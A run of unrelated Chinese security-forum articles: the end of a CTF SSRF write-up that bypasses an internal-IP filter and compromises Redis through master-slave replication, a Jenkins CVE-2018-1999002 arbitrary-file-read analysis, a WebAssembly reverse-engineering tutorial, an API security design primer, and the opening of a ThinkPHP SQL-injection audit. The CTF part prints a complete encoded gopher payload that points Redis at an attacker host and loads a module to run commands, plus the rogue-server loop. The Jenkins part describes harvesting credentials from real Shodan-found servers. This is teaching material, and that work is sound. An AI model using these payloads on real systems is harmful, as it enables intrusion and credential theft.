safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
if(isset($_GET['url'])){
$url = $_GET['url'];
if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>
这源码见过好多次了，让我们从本地访问hint.php，但是要先绕过对内网IP的检测。这里我们可以利用curl和parse_url的解析差异来绕过，payload：
/?url=http://@127.0.0.1:[email protected]/hint.php
但是这里并不成功，因为这个方法在Curl较新的版本里被修掉了，所以我们还可以使用另一种方法，即 `0.0.0.0`。`0.0.0.0`
这个IP地址表示整个网络，可以代表本机 ipv4 的所有地址，使用如下即可绕过：
/?url=http://0.0.0.0/hint.php
如下图所示，成功访问hint.php并得到源码：
在hint.php中发现了Redis的密码为root，看来是要利用主从复制来打Redis了。
需要以下即可工具：
* [https://github.com/xmsec/redis-ssrf（用于生成gopher协议的payload并搭建恶意的Redis主机）](https://github.com/xmsec/redis-ssrf%EF%BC%88%E7%94%A8%E4%BA%8E%E7%94%9F%E6%88%90gopher%E5%8D%8F%E8%AE%AE%E7%9A%84payload%E5%B9%B6%E6%90%AD%E5%BB%BA%E6%81%B6%E6%84%8F%E7%9A%84Redis%E4%B8%BB%E6%9C%BA%EF%BC%89)
* [https://github.com/n0b0dyCN/redis-rogue-server（需要利用这里面的exp.so）](https://github.com/n0b0dyCN/redis-rogue-server%EF%BC%88%E9%9C%80%E8%A6%81%E5%88%A9%E7%94%A8%E8%BF%99%E9%87%8C%E9%9D%A2%E7%9A%84exp.so%EF%BC%89)
首先来看redis-ssrf中的ssrf-redis.py脚本：
如上图所示，通过选择不同的mode选项可以选择不同的攻击方式。这里我们选择mode 3，通过主从复制在目标主机上执行命令。需要修改一下几个地方：
* 将 `lhost` 改为攻击者vps的ip（47.xxx.xxx.72），用于控制目标Redis服务器连接位于攻击者vps上6666端口上伪造的恶意Redis主机。
* 将command修改为要执行的命令
* 将第140行的 “127.0.0.1” 改为 “0.0.0.0” ，用于绕过题目对于内网IP的限制。
* 最后在第160行填写上Redis的密码 “root”。
改完后如下：
然后执行该脚本生成payload：
由于题目需要发送的是GET请求，所以需要将payload进行url二次编码，得到最终的payload为：
gopher%3A%2F%2F0.0.0.0%3A6379%2F_%252A2%250D%250A%25244%250D%250AAUTH%250D%250A%25244%250D%250Aroot%250D%250A%252A3%250D%250A%25247%250D%250ASLAVEOF%250D%250A%252412%250D%250A47.101.57.72%250D%250A%25244%250D%250A6666%250D%250A%252A4%250D%250A%25246%250D%250ACONFIG%250D%250A%25243%250D%250ASET%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25246%250D%250AMODULE%250D%250A%25244%250D%250ALOAD%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252414%250D%250Acat%2524%257BIFS%257D%2Fflag%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A
然后将redis-rogue-server中的exp.so复制到redis-ssrf目录中，并使用redis-ssrf中的rogue-server.py在攻击者vps的6666端口上面搭建恶意的Redis主机。
但是这里需要写个死循环一直跑rogue-server.py，不然当目标机的Redis连接过来之后，一连上就自动断开连接，可能导致exp.so都没传完就中断了。
# do.sh
while [ "1" = "1" ]
do
python rogue-server.py
done
执行do.sh脚本即可：
然后执行之前生成的payload：
如上图所示，成功执行命令并得到flag。
## Ending……
> 参考：
>
> <https://blog.csdn.net/cj_Allen/article/details/106855893>
>
>
> [https://www.redteaming.top/2019/07/15/浅析Redis中SSRF的利用/#Redis配合gopher协议进行SSRF](https://www.redteaming.top/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#Redis%E9%85%8D%E5%90%88gopher%E5%8D%8F%E8%AE%AE%E8%BF%9B%E8%A1%8CSSRF)
>
> [https://whoamianony.top/2021/01/16/Web安全/CTF SSRF
> 漏洞从0到1/](https://whoamianony.top/2021/01/16/Web%E5%AE%89%E5%85%A8/CTF%20SSRF%20%E6%BC%8F%E6%B4%9E%E4%BB%8E0%E5%88%B01/) | 社区文章 |
作者：云鼎实验室
#### 一、漏洞背景
漏洞编号：CVE-2018-1999002
漏洞等级：高危
Jenkins 7 月 18 日的安全通告修复了多个漏洞，其中 SECURITY-914 是由 Orange
（博客链接：http://blog.orange.tw/）挖出的 Jenkins 未授权任意文件读取漏洞。
腾讯安全云鼎实验室安全研究人员对该漏洞进行分析发现，利用这个漏洞，攻击者可以读取 Windows 服务器上的任意文件，对于
Linux，在特定条件下也可以进行文件读取。利用文件读取漏洞，攻击者可以获取到 Jenkins
的凭证信息，从而造成敏感信息泄露。另外，在很多时候，Jenkins 的部分凭证和其内用户的帐号密码相同，获取到凭证信息后也可以直接登录 Jenkins
进行命令执行操作等。
#### 二、漏洞分析
Jenkins 在处理请求的时候是通过 Stapler 进行处理的，Stapler 是一个 Java Web 框架。查看 web.xml
可知，Stapler 拦截了所有请求：
单步跟入 `hudson.util.PluginServletFilter`，最后会跟到
`jenkins\core\src\main\java\hudson\Plugin.java` 的 `doDynamic` 方法：
可以发现，Jenkins 在 serve `/plugin/SHORTNAME` 这个 URL 的时候，调用的是 StaplerResponse 的
serveLocalizedFile 方法处理静态文件的，继续跟入这个方法：
其中 request.getLocale() 是 `jetty-server-9.4.5.v20170502-sources.jar!\org\eclipse\jetty\server\Request.java`
内的，其实现为：
非常明显，Jetty 在获取 Locale 的时候直接从 HTTP Headers 里取出 Accept-Language 头，用 `-` 分割后返回了一个
Locale 对象。也就是我传入`Accept-Language: ../../../aaaa-bbbbbb` 时，那么我将会得到一个
`Locale("../../../aaaa", "BBBBBB")`对象。
最后到跟入 `stapler-1.254-sources.jar!\org\kohsuke\stapler\Stapler.java`：
我们可以发现，Stapler 首先将后缀名单独取出，接着将 Jenkins 目录和传入的 locale 的 language
以及后缀名拼接，然后打开这个路径。那么攻击者只需要构造出如下 HTTP 请求即可造成文件读取：
最后 URL 拼接的现场为：
在 Windows 下，不存在的目录可以通过 ../ 遍历过去的，而对于 Linux 则不行。那么这个漏洞在 Windows 下是可以任意文件读取的，而在
Linux 下则需要在 Jenkins plugins 目录下存在一个名字中存在 `_` 的目录才可以。
#### 三、利用方式
一般来说，文件读取漏洞很难转化为命令执行，对于 Jenkins 也是如此。不过 Jenkins 有一个 Credentials 模块，这个模块储存了
Jenkins 的一些凭证信息，很多时候，其凭证的帐号密码是和 Jenkins
的帐号密码相同的。无论如何，在成功利用文件读取漏洞后，都要将凭证信息读取并解密，以收集更多的信息。
如果我们想获取 Jenkins 的凭证信息的话，需要以下几个文件：
* credentials.xml
* secrets/hudson.util.Secret
* secrets/master.key
很幸运的是这几个文件我们都可以利用文件读取漏洞读取出来。在 Shodan 上尝试获取国外 real world 的 Jenkins 的帐号密码：
当然，获取到的帐号密码是不能直接登录的，但是稍微修改一下用户名就可以成功的登录进去了：
#### 四、修复方案
虽然这个漏洞危害较大，但是用户不必太过担心，因为默认安装 Jenkins 的时候匿名用户是没有可读权限的。并且此漏洞在 Linux
上被利用的可能性较小。以下为推荐的修复方案：
* 针对此高危漏洞利用，腾讯云网站管家 WAF AI 引擎可检测并拦截，如果需要，可在腾讯云官网进一步了解
* 在全局安全配置中将匿名用户的可读权限去掉
* 升级到最新版本的 Jenkins（2.121.2）
* 使用 Linux
* * * | 社区文章 |
# 浅谈如何逆向分析WebAssembly二进制文件
|
##### 译文声明
本文是翻译文章，文章来源：forcepoint.com
原文地址：<https://www.forcepoint.com/blog/security-labs/analyzing-webassembly-binaries>
译文仅供参考，具体内容表达以及含义原文为准。
我们最近发表了一篇关于[WebAssembly](https://www.forcepoint.com/blog/security-labs/webassembly-potentials-and-pitfalls)（Wasm）基本概念及其安全问题的博文。作为后续，本文将对Wasm应用程序的逆向工程方法进行介绍。考虑这样一个场景：当你遇到一个未知的Wasm应用程序，并想要弄清楚它是怎么构成的时候。你如何去分析它？目前关于这个主题几乎没有任何有用的文献，所以我们决定在一定程度上填补这个空白。
对于一个Wasm应用程序，我们可以用不同的方法进行分析。今天，我们将通过一个非常简单的应用程序来介绍Chrome内置的Wasm调试功能。随着我们的进展，一些相关概念将会被引入。
如果有按耐不住想要直接了解相关的技术内容的读者，可以先从附录部分获取HTML文件test.html，然后直接跳转到“调试我们的示例应用程序”部分。
## 为什么要分析Wasm？
首先，为什么我们会对分析Wasm应用程序感兴趣呢？让我们先来回答这个问题，然后再深入研究实际的技术问题。
对于Forcepoint公司来说，我们对恶意软件开发者如何利用新兴技术和技巧非常感兴趣。每当出现新的威胁，比如一个新的勒索软件家族、一个物联网蠕虫或其他更不寻常的东西，安全研究人员都希望深入分析恶意代码的所有功能。当我们弄清楚一个恶意软件是如何工作的以及了解它的特性之后，我们可以通过编写签名来提供相应的保护。
这里有许多可用于分析传统恶意软件的工具，无论是经混淆过的JavaScript、恶意Flash对象、可移植可执行文件（PE）还是其他东西，总有一种行之有效的方法来分析这些威胁。
正如我们在本系列的第一篇文章中提到的那样，而Wasm的情况却有所不同。几乎没有任何关于如何分析Wasm应用程序的文献，大多数用于逆向工程的常用工具也都不适用于Wasm。因此，写这篇博文的一个目的也是试图为如何逆向分析Wasm二进制文件提供一些启发。
## 创建一个 “Hello World”Wasm示例应用程序
让我们从创建一个简单的Wasm应用程序开始，我们稍后将对其进行逆向分析。我们将在浏览器中运行该应用程序，并使用Chrome的开发人员工具对其进行逆向分析。
要在浏览器中运行Wasm应用程序，我们需要一个HTML文件来加载和执行Wasm二进制文件。让我们来看看创建这个HTML文件的过程。（如前所述，完整的文件可以在本文的附录中找到。）
从构建下面的框架开始（我们将进一步修改），并将其保存到test.html文件：
<html>
<script>
function test() {
}
</script>
<body onLoad="test()">
</body>
</html>
为了便于配置，并避免安装任何工具，让我们使用一个名为[WasmFiddler](https://wasdk.github.io/WasmFiddle/?wvzhb)的在线Web应用程序来生成我们的Wasm。在WasmFiddler中，输入以下简单程序：
void hello()
{
printf("Hello Worldn");
}
然后，点击“Build”，如下面的屏幕截图所示：
图1：使用WasmFiddler编译Wasm应用程序
在上面的屏幕截图的右侧，我们可以看到一个名为utf8ToString()的函数。将该函数复制并粘贴到HTML页面的JavaScript部分，并将其置于test()函数之上。
仍然是在屏幕截图的右侧，我们可以在函数utf8ToString()之后看到几行JavaScript，如下所示：
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer));
let h = new Uint8Array(m.exports.memory.buffer);
let p = m.exports.hello();
复制这几行代码，并将它们粘贴到test()函数中。这几行代码将实例化我们的Wasm，根据定义在名为“buffer”的数组中的代码，然后执行我们的hello()函数。
那么，我们如何定义这个缓冲区的内容（Wasm代码）呢？在WasmFiddler中，单击源代码下面的下拉菜单（图1中的“Text
Format”），然后选择“Code Buffer”。
图2：在WasmFiddler中查看代码缓冲区
现在，WasmFiddler将生成二进制Wasm代码并将其放入JavaScript缓冲区中。你应该会得到如下内容（这里为了简洁，展示的是删减的结果）：
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,…,108,100,0]);
注意：如果你只是得到一个空数组（“var wasmCode = new
Uint8Array([null]);”），那么你应该是忘记了先编译源代码。在这种情况下，点击Build，再试一次。
复制这个缓冲区的内容，并将其粘贴到我们的test()函数的开始部分。将数组从“wasmCode”重命名为“buffer”，以匹配由WasmFiddler生成的其他代码的命名。
如果你还记得我们在本系列的第一篇文章所介绍的内容的话，那么你应该知道Wasm应用程序本身无法将文本打印到屏幕上。我们需要定义一个JavaScript函数，在我们的Wasm代码中调用printf()函数。回到WasmFiddler，在下拉菜单中选择Text
Format格式，以查看编译后的Wasm应用程序的文本表示形式：
图3：puts()函数的Imports模板
复制上面看到的“wasmImports”的定义，并将其粘贴到我们的test()函数的开头部分。然后，我们需要将这个Imports的定义提供给Wasm的实例，如下所示：
var m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
最后，让我们来定义puts()函数在被调用时应该做些什么。将其更改为以下内容：
puts: function puts (index)
{
alert(utf8ToString(h, index));
}
现在，我们已经完成了构建示例应用程序所需的所有步骤。在Chrome中加载我们的test.html文件，我们会看到这样一个弹出窗口：
图4：Chrome中的通知
我们可以看到，Wasm代码成功地调用了我们的外部函数。
注意：如果你没有看到弹出窗口，那么问题很可能是你的浏览器不支持Wasm。在这种情况下，请尝试使用最新版本的浏览器，因为目前所有主流浏览器的最新版本都应该支持Wasm。
## 调试我们的示例应用程序
现在，我们终于可以使用Chrome开发人员工具来调试我们的示例应用程序了。
在Chrome中打开test.html文件后，启动Chrome开发人员工具（通过按F12键），并选择顶部的Sources选项卡。然后，按Ctrl+R重新加载页面。现在，会出现一个带有文字“wasm”的小云朵图标。展开它以及它下面的项目，选择wasm子树下的叶子项目。具体如下所示：
图5：Chrome开发人员工具
让我们单步执行这个函数，以便更好地理解它的功能。单击左侧以“i32”开头的代码行，为其设置断点。一个蓝条将显示出来，表明断点已设置好。接下来，按Ctrl+R重新加载页面。现在，执行将停止在断点处。此时，Wasm堆栈是空的。然后，在调试器中按下Step
Over按钮（F10或带有弯曲箭头的图标）以执行指令“i32.const 16”，以将值“16”压入堆栈：
图6：将值“16”压入堆栈
Wasm中的所有函数都被编号，编号为0的函数对应于Wasm从JavaScript导入的函数“puts”（编号为1的函数对应于“hello”函数）。因此，下一条调用0的指令实际上调用的是printf/puts函数，而堆栈中的值“16”就是它的参数。
值“16”如何与字符串‘Hello
World’对应呢？该值实际上是一个指向Wasm应用程序内存空间中的地址的指针。让我们利用Chrome的调试器展开全局树，以查看Wasm应用程序的内存：
图7：查看Wasm应用程序的内存
让我们来看看内存中的位置编号为16处的内容：
图8：Wasm应用程序内存中的“Hello World”
运行状态下的Wasm应用程序的内存空间实际上是作为JavaScript数组实现的。该数组的定义位于负责加载Wasm应用程序的HTML文件中。在我们上面的示例中，变量“h”的定义如下所示，它包含了应用程序的内存空间：
let h = new Uint8Array(m.exports.memory.buffer);
现在，再次按下Step Over按钮来执行调用。如此这样，我们应该就能够看到JavaScript警报了。
## 结论
我们现在已经成功地逆向分析了我们的第一个简单的Wasm程序。尽管这个示例非常简单，但请记住，很多事情我们都需要从零开始。
在逆向分析过程中，我们是通过调用JavaScript声明的导入函数来了解Wasm如何与外部环境进行交互的。此外，我们还介绍了如何在JavaScript和Wasm之间共享内存。
Forcepoint安全实验室将继续观察Wasm的发展，并在适当的时候对我们的文章进行更新。
## 参考资料
WasmFiddle，在线编译Wasm：<https://wasdk.github.io/WasmFiddle/?wvzhb>
关于如何在浏览器调试器中调试Wasm的视频：<https://www.youtube.com/watch?v=R1WtBkMeGds>
在JavaScript和Wasm之间传递值：<https://hacks.mozilla.org/2017/07/memory-in-webassembly-and-why-its-safer-than-you-think/>
## 附录：test.html
为了便于参考，以下是我们创建并分析的完整test.html文件：
<html>
<script>
function utf8ToString(h, p) {
let s = "";
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i]);
}
return s;
}
function test() {
var wasmImports = {
env: {
puts: function puts (index) {
alert(utf8ToString(h, index));
}
}
};
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
m.exports.hello();
}
</script>
<body onLoad="test()">
</body>
</html>
审核人：yiwang 编辑：边边 | 社区文章 |
# 【技术分享】API安全架构之概念初探
|
##### 译文声明
本文是翻译文章，文章来源：websec.io
原文地址：<https://websec.io/2017/04/14/Build-Secure-API-Part1.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[ **阿诺斯基**](http://bobao.360.cn/member/contribute?uid=2826612711)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**API驱动的世界**
**毫无疑问，随着时间的推移，我们所生活的世界正在变得越来越紧密。新的服务正在出现，目的是使我们的生活更简单，更愉快。在所有这些变化的背后，这些服务的组合是一种真正进入自己的技术：API驱动架构。**
这些API允许服务在程序级别相互通信，并提供其他服务可以以自己有用的方式消费和使用的可预测的响应功能。
如果你在过去七，八年内一直在进行着任何形式的开发，那么你可能会遇到某种形式或前卫的API。也许你为你的公司创建了一个API，或者你是一个创业公司，而API
就是你的产品。这几天有个笑话是，如果你没有API，那么你的服务久已经落后于时代。
然而，伴随着API的创建也会产生一些犹豫。开发人员在前端，面向客户的开发和功能方面更加舒适，在深入了解API的过程中，可能会感觉到其构建的深度。虽然基础的知识仍然存在（如HTTP请求/响应和输入处理），但它们的实现方式存在不同的问题。表示层被完全删除，重点放在被共享的数据上，而不是它的外观。你的任务是制定一些功能和实用性，使其具有更好的演示性和用户体验。
这里有一个简短的说明 – **本文将重点介绍REST API**
，而不是SOAP（或RPC）。REST在API领域已经明显地领先，如果你计划实施新的API，那这肯定是你选择的方向。
如果一个开发人员对于API的世界来说是相对陌生的，那么很自然的倾向就是做出“只是工作”的东西 –
在特定的端点上接收数据请求，并回复所请求的匹配。虽然这是最终的目标，但是在创建API时也有个事情同样重要：做出选择并做好充分保护的工作。这很容易理解，因为它是一个API，只有其他的“机器”会说话，它的安全性可以比面向客户的应用程序更加宽松。显然，没有什么可以从真相中更进一步。但是，在确保面向客户的工具中不需要的API时，就需要考虑到这些问题。让我们先来看一下这些概念和考虑因素，
**概念**
首先，让我们来谈谈有关保护API的一些基础知识。要开始这个话题，我会在这里先说一件事 –
稍后将介绍保护API的方式并不是唯一的办法。这只是一个方法，我已经放在一起说明了一些API的基本安全概念。有一个全球性的API保护方案，他们应该在你确定之前进行评估。我将展示的方法对于一个希望安全的API来说非常棒，但是不希望其他系统可以带来很多开销。
我们将使用的方法是使用“共享密钥”系统，其中API和客户端都具有用于认证和发送消息的秘密信息（在这种情况下为令牌）。我看到一些类似系统的系统实现，并利用一个系统，每个请求使用一个静态标记。但是，如果攻击者发现了这个令牌，这可能会导致严重的问题。攻击者可以模拟用户的消息并潜在地绕过验证机制。
我这里说的不是一个单一的令牌系统，我已经选择了一个多重令牌，可撤销的系统，让用户创建他们想要的令牌，描述他们的使用，另一个主要的好处 –
随时撤销它们。如果你是GitHub用户，那么你可能熟悉它的令牌系统。它以类似的方式工作，只需要添加更多元数据。
如果你熟悉OAuth
v2的处理过程，那么这个设置听起来久很熟悉。与OAuth事务有一个类似的秘密令牌和前后切换，但这里会涉及到更多的东西。另外请记住，设计OAuth并不是主要用于身份验证。其主要目的是授权。例如，
**考虑在网站上看到的所有“使用Twitter登录”功能。当你点击该按钮时，应用程序会将你返回到Twitter站点并要求获得授权批准。你点击“允许”按钮，流程就会继续。这就是OAuth，它正在处理幕后的事情。使用该流程，你就已经授权应用程序使用你的Twitter信息来识别你。**
然而，到Twitter可以登录你的帐户时，另一个应用程序并不知道你是否真的是你所说的 – 他们已经接受了风险，并将这一决定移交给了Twitter。
在这里有一个这样的警告：在使用像这样的基于令牌的系统时，请确保所请求的URL中不是以令牌结束的。默认情况下，URL请求会记录到Web服务器日志中。如果你的URL中的令牌（特别是生命周期比较长的）被攻击者获取，所有的攻击者必须做的是找到你的日志存储的位置，并访问他们想要的所有令牌。
在我们将要创建的系统中，还将有另一个方面的令牌来帮助提高他们的安全性 –
限制他们的有效时间。我在这里谈论的令牌是认证后的请求中所使用的令牌，而不是用于身份验证的令牌。通过限制这些令牌“存活”的时间，我们能够减少攻击者被拦截和重新使用的可能性。在我们的系统中，会将token的有效时间限制为1小时。这个时间内通常足以让用户能够使用API成功运行，但仍然需要为请求提供足够的保护。
当令牌过期时，客户端将被发送一个关于认证失败的消息，他们只需要请求一个新的令牌。在OAuth的世界里，他们发送一个“刷新令牌”，它专门用于这种令牌“refetch”请求，但是由于我们在这里搞了一个更简单，更轻的版本，所以我们只需要坚持手动要求获取新的令牌就行了。
**基本流程**
我已经描述了这个API的运作过程，但是让我花一些时间来遍历正常会话的流程，包括身份验证和剩余的请求。
**1.令牌创建**
我们将会把用户进入应用程序的管理部分当做次过程的开始，并生成用于身份验证过程的新令牌。该令牌是一个随机的字符串，数字和符号，在认证请求期间（并且仅用于）使用。
**2.认证**
一旦我们拥有了令牌，用户将向API上的端点发出一个POST请求及其凭据：用户名和“密码”的令牌。如前面所述，你不希望将此请求使用GET方式，因为这会将凭据信息显示在服务器日志中…这是一件不好的事情。
对令牌和所提供的用户名进行查找，并确保匹配。如果一切都很好，那么响应将包含我们随机生成的有时间限制的令牌，用于当前会话。该令牌用作以下请求中的标识符，并确保正在发送的消息未被篡改。如果用户在该令牌仍然有效的时间内执行另一个认证请求，则每次都会给予新的令牌，以进一步降低潜在攻击者的令牌拦截和重用的风险。
**3.跟随请求**
有了这个令牌，客户端就可以向API中的其余端点发出请求。我们的系统目前不会强制执行任何权限，只有已经认证的网关。在一个真正的API中，需要有一个更复杂的系统来帮助保护各个端点，并确保只有使用它们的用户才能访问。
要发出请求，客户端必须执行几个任务：
1.在名为“X-Token”的header中发送认证产生的令牌
2.创建要发送的消息的内容的HMAC散列，并将其包括为X-Token-Hash头
使用PHP，第二步可以很容易的使用hash_hmac方法实现：
<?php
$body = json_encode(['foo' => 'bar']);
$messageHash = hash_hmac('SHA512', $body, $hash.time());
?>
在上面的代码中，我们正在创建$body内容的SHA512
HMAC散列，并使用$hash身份验证请求以及当前时间（以秒为单位）作为key。当消息回到服务器时，这个哈希值是根据相同的信息重新创建的，并且与X-Token-Hash header中发送的值进行比较。如果系统发现不匹配，那么系统就知道消息的内容已被更改，并可以完全拒绝。
精明的读者可能已经注意到这个请求处理的一个小问题
–需要在几秒钟内使用当前时间。在过去一段时间，我已经在工作中用到了很多API，这的确成为了一个问题，因为他们的用户遍布世界各地，有时候他们的系统上的时钟没有正确的同步。因此，无论发送什么，请求均会出现“Bad
Request”的消息。为了帮助解决这种情况，你可以将被使用的时间值修改的“稍长一点”，使用分钟级的时间而不是秒级的时间。包含时间的要点是提供一些随机性来生成HMAC哈希值，因此每个请求都不一样。如果把它设置为秒级别的时间会造成很多问题，
<?php
$body = json_encode(['foo' => 'bar']);
$time = date('ymdHi');
$messageHash = hash_hmac('SHA512', $body, $hash.$time);
?>
你基本上只需要在请求的+59秒内添加。这不太安全，但如果这意味着更多的用户请求正在通过，那么这是一个相对公平的权衡。只要记住将其标记为你身边的被接受的风险，这样就不会被遗忘。
**工具**
虽然这里提出的概念可以适用于你可以选择的任何语言和任何框架，但是我必须选择一个作为开始。由于我将重点关注在了本系列中的PHP示例，所以我决定开发一个简单的PHP框架，我熟知的框架是Slim框架。这个框架在技术上是一个“微框架”，旨在为开发人员提供最少的功能，用于制作Web应用程序。在其基础上，它只是一个简单的前端控制器，并附加路由器和请求/响应处理。它没有太多的其他东西。有几个优点捆绑在了一起，但如果你正在寻找一个框架，你可以去寻找一个能为你提供一切的一个框架，
Slim并不是最好的选择。
然而，这种简约的方法使其非常适合我们的例子，特别是当API更多的只是请求和响应周期比具有前端的Web应用程序。Slim提供了我们需要设置的一些基本路线并将其链接到我们的API的功能部件的一切。
只要给出一个我们谈论的内容的简单想法，一旦通过[ **Composer**](https://getcomposer.org/)
安装，响应所有这些都需要的索引页面请求的应用程序是：
require_once 'vendor/autoload.php';
$app = new SlimApp();
$app->get('/', function() {
echo 'Hello world!';
});
$app->run();
这就是所有代码…在这个简化的结构中，我们将构建我们的API并集成其他几个部分，以帮助保护它及其要保护的数据。谈到其他部分，让我们来看看下一个在我们的请求/响应周期中给我们提供一些可重用的逻辑：中间件。
如果你不熟悉中间件的概念，其实这是一个非常简单的概念。我一般是一个视觉学习者，所以我发现这个图（从Slim框架借来的）很有用：
**
**
**中间件解释**
如图所示，中间件的基本思想是围绕你的应用程序的主要部分进行“包装”。它旨在提供以请求和响应处理为中心的附加功能。当然，它也可以做其他的事情，但是大多数中间件在整个HTTP请求中处理数据流方面表现出色。该请求进入应用程序，通过中间件层，一旦内部处理完成，它将以相反的顺序返回到相同的中间件层。
这个中间件层是我们在示例应用程序中执行某些授权逻辑的地方。由于需要在每个请求上检查API访问级别，所以将其包装在中间件中是很有意义的，并检查所需数据的传入请求。这种方法还允许我们在控制器和内部的逻辑出现授权问题时，踢掉客户端。
接下来是我们将在API示例中使用数据库的两个软件包：[ **Laravel
Enloquent数据库层**](https://laravel.com/docs/5.4/eloquent) 和[
**Phinx迁移工具**](https://phinx.org/)
。如果你是PHP开发人员，那么你可能会听说过Laravel框架。这个框架在过去几年中人气大涨，由于其易用性和“简单”的感觉，已经获得了很多人的追捧。虽然框架本身具有很多功能，但我们这里的这些示例中Eloquent包仅用于处理数据库。
幸运的是，这个包可以在主要的Laravel框架之外使用，因为“胶囊”这种特性。有了这个，我们可以将Eloquent及其功能引入我们基于Slim的应用程序，并像Laravel应用程序一样使用它。你可以查看[
**“Eloquent”手册**](https://laravel.com/docs/5.4/eloquent) 了解更多信息，以下是使用它的示例：
$links = Link::all();
$users = User::where(['active' => 1])->get();
$userLinks = User::find(1)->links;
它不仅允许直接提取记录，还可以搜索数据库信息并在模型之间建立关系，从而使你更容易在PHP中交叉引用数据，而不会对SQL造成困扰。
Phinx工具使我们能够进行可重用的数据库迁移。迁移基本上是一种自动执行SQL命令的方法。当你考虑开发人员面临的一些常见的数据库问题时，迁移的真正好处就非常明显了：初始数据库设置的一致性，并保持整个团队的同步性。Phinx是一个基于PHP的工具，可以让你创建迁移，也可以用PHP编写，让你定义迁移的“up”和“down”逻辑：当新增数据时执行“up“，当需要移除数据时执行“down“。Phinx工具还可以跟踪哪些迁移已经运行，如果更改后有意想不到的后果，则可以回滚。
以下是创建表的Phinx迁移的示例：
<?php
use PhinxMigrationAbstractMigration;
class CreateSources extends AbstractMigration
{
public function change()
{
$table = $this->table('sources');
$table->addColumn('name', 'string')
->addColumn('type', 'string')
->addColumn('user_id', 'string')
->addColumn('source', 'string')
->addColumn('last_update', 'datetime', ['default' => 'CURRENT_TIMESTAMP'])
->addColumn('created_at', 'datetime')
->addcolumn('updated_at', 'datetime')
->create();
}
}
在这种情况下，我们创建一个sources表，其中包含用户引用的列，类型，名称和源值。你会注意到，在这个例子中没有一个具体的up或者down方法。随着更新版本的Phinx，该工具已经使用一些魔法实现了change方法。当你写一个change方法时，Phinx会尽力找出，并根据正在执行的操作（应用或回滚）判断如何处理迁移。在这个例子的情况下，它比较简单：执行up，表将被创建，并且执行down，表将被删除。
还有一些其他随机的功能将被包括在随机数生成函数和自定义异常处理的方式，但不要担心，这些都将被及时覆盖。
**
**
**下集预告**
这是本系列文章的第一部分的结尾。我向你描述了API生态系统的当前状态，描述了应用程序的基本流程，并列出了我们将在本系列中使用的一些工具来实现魔术方法。在本系列的下一部分中，我们将花费一些时间通过规划我们的一些基本API功能来设置和通信。
**参考资源**
[Slim Framework](http://slimframework.com/)
[Laravel Eloquent](https://laravel.com/docs/5.4/eloquent)
[Eloquent
Capsule](https://laravel.com/api/5.4/Illuminate/Database/Capsule/Manager.html)
[Phinx](https://phinx.org/)
[Part Two](https://websec.io/2017/05/01/Build_Secure-API-Part2.html)
[Part Three](https://websec.io/2017/05/12/Build-Secure-API-Part3.html) | 社区文章 |
# 前言
在 `CMS` 中难免会调用到 `SQL` 执行（废话），百密总有一疏，今天跟师傅们分享一些平时审计时遇到的注入，可能不全面，希望和师傅们一起学习。
# 关于 ThinkPHP 中的 注入
这绝对是能拿来探讨探讨的，因为我看到的版本就有两三种了，这里给出两个例子。
## ThinkPHP3.2.3
首先我们举个最简单的例子作为开场：
public function login(){
$User = D('User');
$map = array('username' => $_POST['username']);
$user = $User->where($map)->find();
}
首先调用了 `where` 函数：
public function where($where,$parse=null){
....
if(isset($this->options['where'])){
$this->options['where'] = array_merge($this->options['where'],$where);
}else{
$this->options['where'] = $where;
}
return $this;
}
这里简单的将 `where` 放进了 `options[where]` 里。
然后第二步是调用 `find` 函数，`find` 的内部又调用了 `->db->select`，这是具体的实现，可以进去看看（查询时可能会查找三个，通常是
`Driver.class.php`）：
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options); // 生成 sql 语句
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
继续跟入 `buildSelectSql` 函数，会发现里面调用了 `parseSql` 函数，继续跟：
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
